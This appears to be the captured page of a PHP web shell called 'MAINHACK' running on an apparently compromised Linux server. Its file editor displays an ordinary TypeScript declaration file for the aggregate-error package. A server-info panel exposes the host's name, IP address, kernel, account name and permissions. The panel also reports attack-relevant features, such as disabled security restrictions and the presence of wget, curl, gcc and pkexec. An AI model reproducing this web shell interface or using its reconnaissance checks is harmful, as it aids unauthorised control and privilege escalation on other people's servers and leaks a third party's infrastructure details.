[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index.d.ts
/** Create an error from multiple errors. */ declare class AggregateError<T extends Error = Error> extends Error implements Iterable<T> { readonly name: 'AggregateError'; /** @param errors - If a string, a new `Error` is created with the string as the error message. If a non-Error object, a new `Error` is created with all properties from the object copied over. @returns An Error that is also an [`Iterable`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators#Iterables) for the individual errors. @example ``` import AggregateError = require('aggregate-error'); const error = new AggregateError([new Error('foo'), 'bar', {message: 'baz'}]); throw error; // AggregateError: // Error: foo // at Object.<anonymous> (/Users/sindresorhus/dev/aggregate-error/example.js:3:33) // Error: bar // at Object.<anonymous> (/Users/sindresorhus/dev/aggregate-error/example.js:3:13) // Error: baz // at Object.<anonymous> (/Users/sindresorhus/dev/aggregate-error/example.js:3:13) // at AggregateError (/Users/sindresorhus/dev/aggregate-error/index.js:19:3) // at Object.<anonymous> (/Users/sindresorhus/dev/aggregate-error/example.js:3:13) // at Module._compile (module.js:556:32) // at Object.Module._extensions..js (module.js:565:10) // at Module.load (module.js:473:32) // at tryModuleLoad (module.js:432:12) // at Function.Module._load (module.js:424:3) // at Module.runMain (module.js:590:10) // at run (bootstrap_node.js:394:7) // at startup (bootstrap_node.js:149:9) for (const individualError of error) { console.log(individualError); } //=> [Error: foo] //=> [Error: bar] //=> [Error: baz] ``` */ constructor(errors: ReadonlyArray<T | {[key: string]: any} | string>); [Symbol.iterator](): IterableIterator<T>; } export = AggregateError;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.73 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002